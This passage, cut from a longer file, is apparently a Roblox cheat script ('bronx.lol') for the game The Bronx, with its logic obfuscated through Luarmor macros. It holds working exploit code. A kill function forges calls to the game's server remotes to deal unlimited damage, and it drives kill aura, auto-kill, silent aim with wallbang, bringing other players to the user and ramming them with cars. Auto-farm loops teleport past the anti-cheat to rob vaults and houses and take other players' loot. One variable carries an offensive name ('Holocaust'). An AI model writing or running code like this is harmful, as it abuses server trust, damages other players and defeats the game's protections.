                    root.CFrame = position * orientation * CFrame.new(velocity)
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                    root.AssemblyLinearVelocity = Vector3.zero
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                    root.AssemblyAngularVelocity = Vector3.zero
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                    root.Anchored = true
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                    humanoid.PlatformStand = true
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                end)
            )
            table.insert(flight_registry, function() root.Anchored = false end)
            table.insert(flight_registry, function() humanoid.PlatformStand = false end)
        end
    end)

    ResetFlight = LPH_NO_VIRTUALIZE(function()
        for i,v in flight_registry do
            local t = typeof(v)
            if t == "RBXScriptConnection" then v:Disconnect()
            elseif t == "Instance" then v:Destroy()
            elseif t == "function" then task.spawn(v) end
        end
        flight_registry = {}
    end)

    local OnCharacter = LPH_NO_VIRTUALIZE(function(character: Model)
        root = character:WaitForChild("HumanoidRootPart")
        humanoid = character:WaitForChild("Humanoid")

        if Config.TheBronx.Fly.Enabled then
            RunService.Stepped:Wait()
            StartFlight()
        end
    end)

    local OnInputBegan = LPH_NO_VIRTUALIZE(function(input: InputObject,
gameProcessedEvent: boolean)
        if gameProcessedEvent then return end
```

```
    if input.UserInputType ~= Enum.UserInputType.Keyboard then return end
    local keycode = input.KeyCode
    if KEYCODES[keycode] then input_keys[keycode] = true end
end)

local OnInputEnded = LPH_NO_VIRTUALIZE(function(input: InputObject)
    if input.UserInputType ~= Enum.UserInputType.Keyboard then return end
    local keycode = input.KeyCode
    if KEYCODES[keycode] then input_keys[keycode] = false end
end)

local OnCamera = LPH_NO_VIRTUALIZE(function()
    Camera = Workspace.CurrentCamera or Camera
end)

if LocalPlayer.Character then task.spawn(OnCharacter, LocalPlayer.Character) end
LocalPlayer.CharacterAdded:Connect(OnCharacter)
UserInputService.InputBegan:Connect(OnInputBegan)
UserInputService.InputEnded:Connect(OnInputEnded)
Workspace.Changed:Connect(OnCamera)

local kill_gun = LPH_JIT_MAX(function(target: string, hpart: string, damage: number)
    if not hpart then
        hpart = "head"
    end

    if not damage then
        damage = math.huge
    end

    local data = {
        ["tool"] = Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"),
        ["target"] = Players[target],
        ["hitpos"] = Players[target].Character[hpart].Position,
    }

    if not rawget(data, "tool") then
        return
    end

    if RequireSupport then
        require(rawget(data, "tool").Setting).Range = 10000
    end

    ReplicatedStorage.VisualizeMuzzle:FireServer(table.unpack({
        rawget(data, "tool").Handle,
        true,
        {
            false,
            7,
            Color3.new(1, 1.1098039150238, 0),
            15,
            true,
            0.02
```

```
    },
    rawget(data, "tool").GunScript_Local.MuzzleEffect
}))

ReplicatedStorage.VisualizeBullet:FireServer(table.unpack({
    rawget(data, "tool"),
rawget(data, "tool").Handle,
    Vector3.new(-0.17746905982494, 0.088731124997139, 0.98011803627014),
    rawget(data, "tool").Handle.GunFirePoint,
    {
        true,
        {
            112139677907600,
            92977228204408,
            112139677907600,
            92977228204408
        },
        1,
        1,
        10,
        rawget(data, "tool").GunScript_Local.HitEffect,
        true
    },
    {
        true,
        {
            0,
            0,
            0,
            0,
            0,
            0
        },
        1,
        1,
        1,
        rawget(data, "tool").GunScript_Local.BloodEffect
    },
    {
        true,
        0.2,
        {
            3696144972
        },
        true,
        7,
        1
    },
    {
        false,
        8,
        true,
        {
            163064102
```

```
                },
                1,
                1.5,
                1,
                false,
                rawget(data, "tool").GunScript_Local.ExplosionEffect
            },
            {
                false,
                Vector3.new(0.10000000149012, 0, 0),
                Vector3.new(-0.10000000149012, 0, 0),
                rawget(data, "tool").GunScript_Local.TracerEffect,
                nil,
                rawget(data, "tool").GunScript_Local.ParticleEffect,
                300,
                526,
                0,
                Vector3.zero,
                Vector3.new(0.40000000596046, 0.40000000596046, 0.40000000596046),
                Color3.new(0.63921570777893, 0.63529413938522, 0.61176472902298),
                1,
                Enum.Material.Neon,
                Enum.PartType.Cylinder,
                false,
                6696543809,
                0,
                Vector3.new(0.0070000002160668, 0.0070000002160668,
0.0070000002160668)
            },
            {
                true,
                {
                    269514869,
                    269514887,
                    269514807,
                    269514817
                },
                0.5,
                1,
                1.5,
                100
            },
            {
                false,
                3,
                Color3.new(1, 0.64705884456635, 0.60000002384186),
                6,
                true
            }
        }))

        ReplicatedStorage.InflictTarget:FireServer(table.unpack({
            rawget(data, "tool"),
            LocalPlayer,
```

```
            rawget(data, "target").Character.Humanoid,
            rawget(data, "target").Character[hpart],
            damage,
            {
                0,
                0,
                false,
                false,
                rawget(data, "tool").GunScript_Server.IgniteScript,
                rawget(data, "tool").GunScript_Server.IcifyScript,
                100,
                100
            },
            {
                false,
                5,
                3
            },
            rawget(data, "target").Character[hpart],
            {
                false,
                {
                    1930359546
                },
                1,
                1.5,
                1
            },
            rawget(data, "hitpos"),
            Vector3.new(0.074456036090851, -0.099775791168213, -0.99222022294998),
            true
        }))
    end)

    getgenv().kill_gun = kill_gun

    task.spawn(LPH_NO_VIRTUALIZE(function()
        while task.wait(1) do
            if not Config.TheBronx.KillAura then continue end
            if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChildOfClass("Tool") or not
LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Setting") then continue end
            for Index, Value in Players:GetPlayers() do
                if table.find(library.whitelist, tostring(Value)) then continue end
                if Value == LocalPlayer then continue end
                if not Value.Character or not
Value.Character:FindFirstChildOfClass("Humanoid") or not
Value.Character:FindFirstChild("HumanoidRootPart") then continue end
                if Value.Character:FindFirstChildOfClass("Humanoid").Health == 0 then continue
end
                if Value.Character:FindFirstChildOfClass("ForceField") then continue end

                if not DistanceCheck(Value, Config.TheBronx.KillAuraRange) then continue end
```

```
                kill_gun(tostring(Value), 'Head', math.huge)
            end
        end
    end))

    local Get_Vehicle = LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace.CivCars:GetChildren() do
            if not Value:FindFirstChild("DriveSeat") then continue end
            if not Value.DriveSeat.Occupant then
                return Value
            end
        end
    end)

    task.spawn(LPH_NO_VIRTUALIZE(function()
        while task.wait() do
            if not Config.TheBronx.PlayerUtilities.BugPlayer then continue end
            if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("HumanoidRootPart") then continue end

            local Car_To_Use = Get_Vehicle()

            if not Car_To_Use then continue end
            if not Car_To_Use:FindFirstChild("DriveSeat") then continue end
            if Car_To_Use:FindFirstChild("DriveSeat").Occupant then continue end

            if not Car_To_Use:GetAttribute("Usable") or Car_To_Use:GetAttribute("Usable") ==
false then
                Car_To_Use.DriveSeat:Sit(LocalPlayer.Character.Humanoid)

                Car_To_Use:SetAttribute("Usable", true)
                task.wait(1)


LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)

                LocalPlayer.Character.Humanoid.Jump = true
                LocalPlayer.Character.Humanoid.Sit = false
            end

            task.wait()

            if not Car_To_Use.PrimaryPart then
                Car_To_Use.PrimaryPart = Car_To_Use.Body:FindFirstChild("#Weight")
            end


Car_To_Use:SetPrimaryPartCFrame(Players:FindFirstChild(Config.TheBronx.PlayerUtilities.Sele
ctedPlayer).Character:FindFirstChild("HumanoidRootPart").CFrame)
            end
```

```
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while task.wait(.25) do
                if not Config.TheBronx.AutoDrop then continue end
                ReplicatedStorage:WaitForChild("BankProcessRemote"):InvokeServer("Drop",
tostring(Config.TheBronx.MoneyAmount))
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while task.wait(1) do
                if not Config.TheBronx.PlayerUtilities.AutoKill then continue end
                if not LocalPlayer.Character then continue end
                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("HumanoidRootPart") then continue end
                if not LocalPlayer.Character:FindFirstChildOfClass("Tool") then continue end
                if not
LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunScript_Local") then
continue end

                if
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("Humanoid").Health == 0 then continue end
                if
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
OfClass("ForceField") then continue end

                if RequireSupport then
                    kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'Head', math.huge)
                else
                    if
DistanceCheck(Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer), 300) ==
false then
                        local OldCFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame

Teleport(Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindF
irstChild("HumanoidRootPart").CFrame)
                        kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'Head', math.huge)
                        task.wait(.5)
                        Teleport(OldCFrame)
                    else
                        kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'Head', math.huge)
                    end
                end
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
```

```
            while task.wait(2) do
                if not Config.TheBronx.PlayerUtilities.AutoRagdoll then continue end
                if not LocalPlayer.Character then continue end
                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("HumanoidRootPart") then continue end
                if not LocalPlayer.Character:FindFirstChildOfClass("Tool") then continue end
                if not
LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunScript_Local") then
continue end

                if
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("Humanoid").Health == 0 then continue end
                if
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("Humanoid"):GetState() == Enum.HumanoidStateType.Physics then continue end

                kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'RightUpperLeg', 0.01)
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while task.wait() do
                if not Config.TheBronx.PlayerUtilities.BringingPlayer then continue end
                if tostring(Config.TheBronx.PlayerUtilities.SelectedPlayer) == tostring(LocalPlayer)
then continue end
                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("HumanoidRootPart") then continue end

Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("HumanoidRootPart").CFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame + Vector3.new(2, 0, 0)
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while true do
                task.wait(0)
                if Config.TheBronx.VehicleModifications.SpeedEnabled and
UserInputService:IsKeyDown(Enum.KeyCode.W) then
                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
                        if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                            local Humanoid =
LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                            if Humanoid and typeof(Humanoid) == "Instance" then
```

```
                        local SeatPart = Humanoid.SeatPart
                        if SeatPart and typeof(SeatPart) == "Instance" and
SeatPart:IsA("VehicleSeat") then
                            SeatPart.AssemblyLinearVelocity *= Vector3.new(1 +
Config.TheBronx.VehicleModifications.SpeedValue, 1, 1 +
Config.TheBronx.VehicleModifications.SpeedValue)
                        end
                    end
                end
            end
        end
    end))

    task.spawn(LPH_NO_VIRTUALIZE(function()
        while true do
            task.wait(0)
            if Config.TheBronx.VehicleModifications.BreakEnabled and
UserInputService:IsKeyDown(Enum.KeyCode.S) then
                if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
                    if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                        local Humanoid =
LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                        if Humanoid and typeof(Humanoid) == "Instance" then
                            local SeatPart = Humanoid.SeatPart
                            if SeatPart and typeof(SeatPart) == "Instance" and
SeatPart:IsA("VehicleSeat") then
                                SeatPart.AssemblyLinearVelocity *= Vector3.new(1 -
Config.TheBronx.VehicleModifications.BreakValue, 1, 1 -
Config.TheBronx.VehicleModifications.BreakValue)
                            end
                        end
                    end
                end
            end
        end))

    local GetPlaceToPlaceWood = LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace.ConstructionStuff:GetChildren() do
            if Value.Name:find("Wall") and Value:IsA("Part") and Value:FindFirstChild("Prompt")
then
                if Value:FindFirstChild("Prompt").Enabled then
                    return Value
                end
            end
        end
    end)

    task.spawn(LPH_NO_VIRTUALIZE(function()
        while true do task.wait()
            if not Config.TheBronx.Farms.FarmConstructionJob then continue end
```

```
                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                if not LocalPlayer.Character:FindFirstChild("Humanoid") or
LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                if not LocalPlayer:GetAttribute("WorkingJob") then
                    Teleport(CFrame.new(-1729, 371, -1171))

                    task.wait(0.4)

                    fireproximityprompt(Workspace.ConstructionStuff["Start Job"].Prompt)

                    repeat task.wait() until LocalPlayer:GetAttribute("WorkingJob")
                end

                if not LocalPlayer.Backpack:FindFirstChild("PlyWood") and not
LocalPlayer.Character:FindFirstChild("PlyWood") then
                    Teleport(CFrame.new(-1728, 371, -1178))

                    repeat task.wait() fireproximityprompt(Workspace.ConstructionStuff["Grab
Wood"].Prompt) until LocalPlayer.Backpack:FindFirstChild("PlyWood") or
LocalPlayer.Character:FindFirstChild("PlyWood")
                end

                repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("PlyWood") or
LocalPlayer.Character:FindFirstChild("PlyWood")


LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("PlyWood"))

                local PlaceToPlaceWood = GetPlaceToPlaceWood()

                if not PlaceToPlaceWood then continue end

                Teleport(PlaceToPlaceWood.CFrame)

                repeat task.wait()
                    fireproximityprompt(PlaceToPlaceWood.Prompt)
                until not LocalPlayer.Character:FindFirstChild("PlyWood") or not
PlaceToPlaceWood.Prompt.Enabled
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while true do task.wait()
                if not Config.TheBronx.Farms.FarmBank then continue end

                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                if not LocalPlayer.Character:FindFirstChild("Humanoid") or
LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                local Robbable = Workspace.vault.door.robPrompt.ProximityPrompt.Enabled
```

```
            if not Robbable then
                if Config.TheBronx.Farms.AFKCheck then
                    Teleport(SafePosition)
                end

                task.wait(0.4)

                continue
            end

            if not LocalPlayer.Character:FindFirstChild("DuffelBag") then
                Teleport(CFrame.new(-397, 340, -551))

                task.wait(0.4)


fireproximityprompt(Workspace.dufflebagequip:FindFirstChildWhichIsA("ProximityPrompt"))
            end

            if not LocalPlayer.Backpack:FindFirstChild("C4") and not
LocalPlayer.Character:FindFirstChild("C4") then
                Teleport(CFrame.new(-393, 340, -564))

                task.wait(0.4)

                fireproximityprompt(Workspace.GUNS.C4.Handle.BuyPrompt)
            end

            repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("C4") or
LocalPlayer.Character:FindFirstChild("C4")


LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("C4"))

            Teleport(CFrame.new(-196, 374, -1216))

            task.wait(0.4)

            fireproximityprompt(Workspace.vault.door.robPrompt.ProximityPrompt)

            task.wait(2)

            local Number =
LocalPlayer.Character.DuffelBag.display.SurfaceGui.Frame.TextLabel.Text

            Number = Number:gsub("0/", "")

            for Index = 1, tonumber(Number) do
                local Cash = Workspace.BankItems.Cash:FindFirstChild("Cash")

                if not Cash then
                    for i,v in Workspace:GetChildren() do
                        if v.Name == "Cash" and v:IsA("Model") and v:FindFirstChild("Model") then
                            Cash = v
```

```
                end
            end
        end

        Teleport(Cash.Model.Cash.CFrame)
        task.wait(0.4)
        fireproximityprompt(Cash.Model:FindFirstChildWhichIsA("ProximityPrompt",
true))
        task.wait(.25)
    end

    Teleport(Workspace.sellgold.CFrame)

    task.wait(0.4)

    fireclickdetector(Workspace.sellgold.ClickDetector)
  end
end))

task.spawn(LPH_NO_VIRTUALIZE(function()
  while true do task.wait()
    if not Config.TheBronx.Farms.FarmHouses then continue end

    if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
    if not LocalPlayer.Character:FindFirstChild("Humanoid") or
LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

    local HardDoorEnabled =
Workspace.HouseRobb.HardDoor.Door:FindFirstChildWhichIsA("ProximityPrompt",
true).Enabled

    if not HardDoorEnabled and Config.TheBronx.Farms.AFKCheck then
        Teleport(SafePosition)
        continue
    end

    if HardDoorEnabled then
        repeat task.wait()

Teleport(Workspace.HouseRobb.HardDoor.Door:FindFirstChildWhichIsA("ProximityPrompt",
true).Parent.CFrame)
        task.wait(0.4)


fireproximityprompt(Workspace.HouseRobb.HardDoor.Door:FindFirstChildWhichIsA("Proximity
Prompt", true))

        until Workspace.HouseRobb.HardDoor:FindFirstChild("TakeMoney") and
Workspace.HouseRobb.HardDoor:FindFirstChild("TakeMoney"):FindFirstChild("MoneyGrab"):Fi
ndFirstChildWhichIsA("ProximityPrompt", true).Enabled
```

```
                for Index, Value in Workspace.HouseRobb.HardDoor.TakeMoney:GetChildren()
do
                    Teleport(Value.CFrame)
                    fireproximityprompt(Value.ProximityPrompt)
                    task.wait(0.025)
                end

                continue
            end
        end
    end))

    task.spawn(LPH_NO_VIRTUALIZE(function()
        while true do task.wait()
            if not Config.TheBronx.Farms.FarmStudio then continue end

            if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
            if not LocalPlayer.Character:FindFirstChild("Humanoid") or
LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

            local Prompt1, Prompt2, Prompt3 =
Workspace.StudioPay.Money.StudioPay1:FindFirstChild("Prompt", true),
Workspace.StudioPay.Money.StudioPay2:FindFirstChild("Prompt", true),
Workspace.StudioPay.Money.StudioPay3:FindFirstChild("Prompt", true)

            if Prompt1.Enabled then
                Teleport(Prompt1.Parent.CFrame)
                task.wait(0.4)
                fireproximityprompt(Prompt1)
                task.wait(0.1)
            end

            if Prompt2.Enabled then
                Teleport(Prompt2.Parent.CFrame)
                task.wait(0.4)
                fireproximityprompt(Prompt2)
                task.wait(0.1)
            end

            if Prompt3.Enabled then
                Teleport(Prompt3.Parent.CFrame)
                task.wait(0.4)
                fireproximityprompt(Prompt3)
                task.wait(0.1)
            end

            if Config.TheBronx.Farms.AFKCheck then
                task.wait(0.4)
                Teleport(SafePosition)
                task.wait(0.4)
                continue
            end
        end
```

```
        end))

        local PressKey = function(KeyCode, Duration)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                Services.VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
                task.wait(Duration)
                Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
            end))
        end

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while true do task.wait()
                if not Config.TheBronx.Farms.FarmTrash then continue end

                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                if not LocalPlayer.Character:FindFirstChild("Humanoid") or
LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                for Index, Value in Workspace:GetChildren() do
                    if Value.Name == "DumpsterPromt" and Config.TheBronx.Farms.FarmTrash
then
                        if Value:FindFirstChild("ProximityPrompt") and
Value:FindFirstChild("ProximityPrompt").Enabled then
                            Value:FindFirstChild("ProximityPrompt").HoldDuration = 0
                            Teleport(CFrame.new(Value.Position.X, Value.Position.Y, Value.Position.Z))
                            task.wait(0.4)

                            if not Solara then
                                PressKey(Enum.KeyCode.E)
                            else
                                fireproximityprompt(Value:FindFirstChild("ProximityPrompt"))
                            end

                            task.wait(0.5)
                            Value:FindFirstChild("ProximityPrompt").HoldDuration = 1
                        end
                    end
                end

                if Config.TheBronx.Farms.AutoSellTrash then
                    for Index, Value in LocalPlayer.Backpack:GetChildren() do
                        if Value:IsA("Tool") then
                            ReplicatedStorage:WaitForChild("PawnRemote"):FireServer(Value.Name)
                            task.wait()
                        end
                    end

                    task.wait(1)
                end
            end
        end))
```

```
GetGoodCleaner = LPH_NO_VIRTUALIZE(function()
    local CounterInstance;

    for Index, Value in Workspace["1# Map"]:GetChildren() do
        if Value:FindFirstChild("CounterM") then
            CounterInstance = Value
        end
    end

    for Index, Value in next, {Workspace.CounterBag:GetChildren(),
CounterInstance:GetChildren()} do
        for _Index, _Value in Value do
            if _Value:FindFirstChild("CashPrompt", true) and
_Value:FindFirstChild("CashPrompt", true).Enabled and _Value:FindFirstChild("CashPrompt",
true).ObjectText == "Count Bread" and _Value:FindFirstChild("GrabPrompt", true) and not
_Value:FindFirstChild("GrabPrompt", true).Enabled then
                return _Value
            end
        end
    end
end)

UserInputService.InputBegan:Connect(function(Input, GameProcessedEvent)
    if Input.KeyCode == Config.TheBronx.VehicleModifications.InstantStopBind and
Config.TheBronx.VehicleModifications.InstantStop and (not GameProcessedEvent) then
        if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
            if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                if Humanoid and typeof(Humanoid) == "Instance" then
                    local SeatPart = Humanoid.SeatPart
                    if SeatPart and typeof(SeatPart) == "Instance" and
SeatPart:IsA("VehicleSeat") then
                        SeatPart.AssemblyLinearVelocity *= Vector3.new(0, 0, 0)
                        SeatPart.AssemblyAngularVelocity *= Vector3.new(0, 0, 0)
                    end
                end
            end
        end
    end
end)

if Solara then

LocalPlayer.PlayerScripts.BulletVisualizerClientScript.Visualize.Event:Connect(function(...)
        local args = {...}

        local data = {
            ["damage"] = args[10][1],
            ["player"] = args[1].Parent
        }
```

```
                if rawget(data, "damage") and type(args[10][1]) == 'number' and
Config.Silent.Enabled and Config.Silent.Targetting and args[10] and data["player"] ==
LocalPlayer.Character then
                    if not (math.random(0, 100) <= Config.Silent.HitChance) then
                        return
                    end

                    local RandomPart = Config.Silent.TargetPart[1] and
Config.Silent.TargetPart[math.random(1, #Config.Silent.TargetPart)] or "Head"

                    if SilentTarget and SilentTarget.Character and
SilentTarget.Character:FindFirstChild(RandomPart) then

                        if not Config.Silent.WallBang then
                            local Holocaust =
Workspace:FindPartOnRayWithIgnoreList(Ray.new(LocalPlayer.Character[RandomPart].Positio
n, (SilentTarget.Character[RandomPart].Position -
LocalPlayer.Character[RandomPart].Position).Unit *
(SilentTarget.Character[RandomPart].Position -
LocalPlayer.Character[RandomPart].Position).Magnitude), {SilentTarget.Character,
LocalPlayer.Character})

                            if Holocaust then return end
                        end

                        kill_gun(tostring(SilentTarget), RandomPart, data["damage"])
                    end
                end
            end)
        end


        HideUI = LPH_NO_VIRTUALIZE(function(Title, Timing)
            getgenv().HideScreenGUI = Instance.new("ScreenGui")
            getgenv().HideScreenGUI.Name = "\n\n\n\n\n"
            getgenv().HideScreenGUI.Parent = gethui and gethui() or Services.CoreGui

            local frame = Instance.new("Frame")
            frame.Name = "BlackFrame"
            frame.Size = UDim2.new(2, 0, 2, 0)
            frame.Position = UDim2.new(0, -155, 0, -155)
            frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
            frame.BackgroundTransparency = 0
            frame.Parent = getgenv().HideScreenGUI

            local textLabel = Instance.new("TextLabel")
            textLabel.Name = "\nhideuibronxlol"
            textLabel.Size = UDim2.new(0, 400, 0, 100)
            textLabel.Font = Enum.Font.SourceSansBold
            textLabel.RichText = true
            textLabel.Text = '<font color="rgb(0,163,224)">bronx.</font>lol\n' .. Title
            textLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
            textLabel.BackgroundTransparency = 1
            textLabel.TextSize = 36
```

```
        textLabel.TextStrokeTransparency = 0.8
        textLabel.TextXAlignment = Enum.TextXAlignment.Center
        textLabel.TextYAlignment = Enum.TextYAlignment.Center
        textLabel.TextWrapped = true
        textLabel.AnchorPoint = Vector2.new(0.5, 0.5)
        textLabel.Position = UDim2.new(0.5, 0, 0.5, 0)
        textLabel.Parent = getgenv().HideScreenGUI

        if Timing then
            task.spawn(function()
                local startTime = tick()
                local endTime = startTime + Timing
                while tick() < endTime do
                    local timeLeft = endTime - tick()

                    textLabel.Text = string.format(
                        '<font color="rgb(0,163,224)">bronx.</font>lol\n%s\nplease wait : <font
color="rgb(0,163,224)">%.2f</font> seconds',
                        Title, math.max(timeLeft, 0)
                    )

                    task.wait()
                end
            end)
        end

        return textLabel
    end)

    DeleteSecretUI = LPH_NO_VIRTUALIZE(function(Title)
        if getgenv().HideScreenGUI then
            getgenv().HideScreenGUI:Destroy()
            getgenv().HideScreenGUI = nil
        end
    end)

    getgenv().Teleport = LPH_NO_VIRTUALIZE(function(CFrame, DontUi)
        if not LocalPlayer.Character then return end
        if not LocalPlayer.Character:FindFirstChild("Humanoid") then return end

        --[[if not DontUi then
            HideUI("teleporting.\nplease wait.")
        end]]

        LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(0)

        repeat task.wait() until not LocalPlayer:GetAttribute("LastACPos")
        LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame

        task.wait()
        LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(2)

        --[[if not DontUi then
            DeleteSecretUI()
```

```
        end]]

        return true
    end)

    GetWorkingSafe = LPH_NO_VIRTUALIZE(function()
        local House; local Safe;

        for Index, Value in workspace["1# Map"]["2 Crosswalks"].Safes:GetChildren() do
            if Value:IsA("Model") and Value.Name == "Safe" then
                if Value.WorldPivot == CFrame.new(-215.944153, 292.669647, -1034.16846, 0,
0, -1, -1, 0, 0, 0, 1, 0) then
                    Safe = Value
                    break
                end
            end
        end


        return Safe
    end)

    CollectDroppedMoney = LPH_NO_VIRTUALIZE(function()
        if not Config.TheBronx.Farms.CollectDroppedMoney then return end
        if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then return end
        local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

        for Index, Value in next, {Workspace.Dollas:GetChildren()} do
            for _Index, _Value in Value do
                if not _Value:IsA("Part") then continue end

                Teleport(_Value.CFrame + Vector3.new(0, 3.5, 0))

                task.wait(0.4)

                fireproximityprompt(_Value.ProximityPrompt)

                task.wait(_Value.ProximityPrompt.HoldDuration)
            end
        end

        Teleport(OldCFrame)

        task.wait(0.4)

        return true
    end)

    local GunNames = {}

    for Index, Value in Lighting:GetChildren() do
        if Value:IsA("Tool") and Value:FindFirstChild("Setting") then
            table.insert(GunNames, Value.Name)
```

```
        end
    end

    CollectLootBags = LPH_NO_VIRTUALIZE(function()
        if not Config.TheBronx.Farms.CollectDroppedLoot then return end
        if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then return end
        local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

        for Index, Value in next, {Workspace.Storage:GetChildren()} do
            for _Index, _Value in Value do
                if not _Value:IsA("MeshPart") then continue end
                if _Value:FindFirstChild("PlayerName").Value == LocalPlayer.Name then continue
end

                local _GunFound = true

                --[[if Config.TheBronx.Farms.OnlyCollectGuns then
                    _GunFound = false; for __Index, __Value in _Value.Container:GetChildren() do
                        if table.find(GunNames, __Value.Name) then
                            _GunFound = true;
                        end
                    end
                end]]

                if _GunFound == false then continue end;

                Teleport(_Value.CFrame + Vector3.new(0, 3.5, 0))

                task.wait(0.4)

                fireproximityprompt(_Value.stealprompt)

                task.wait(_Value.stealprompt.HoldDuration)
            end
        end

        return true
    end)

    Workspace.Storage.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function()
        task.spawn(CollectLootBags)
    end))

    Workspace.Dollas.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function()
        task.spawn(CollectDroppedMoney)
    end))

    WashMoney = LPH_NO_VIRTUALIZE(function()
        -- TODO
    end)

    DryMoney = LPH_NO_VIRTUALIZE(function()
        -- TODO
```

```
        end)

        RunService.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
            if not Config.TheBronx.PlayerModifications.InstantRevive then return end
            if not LocalPlayer.Character then return end
            if not LocalPlayer.Character:FindFirstChild("Humanoid") then return end

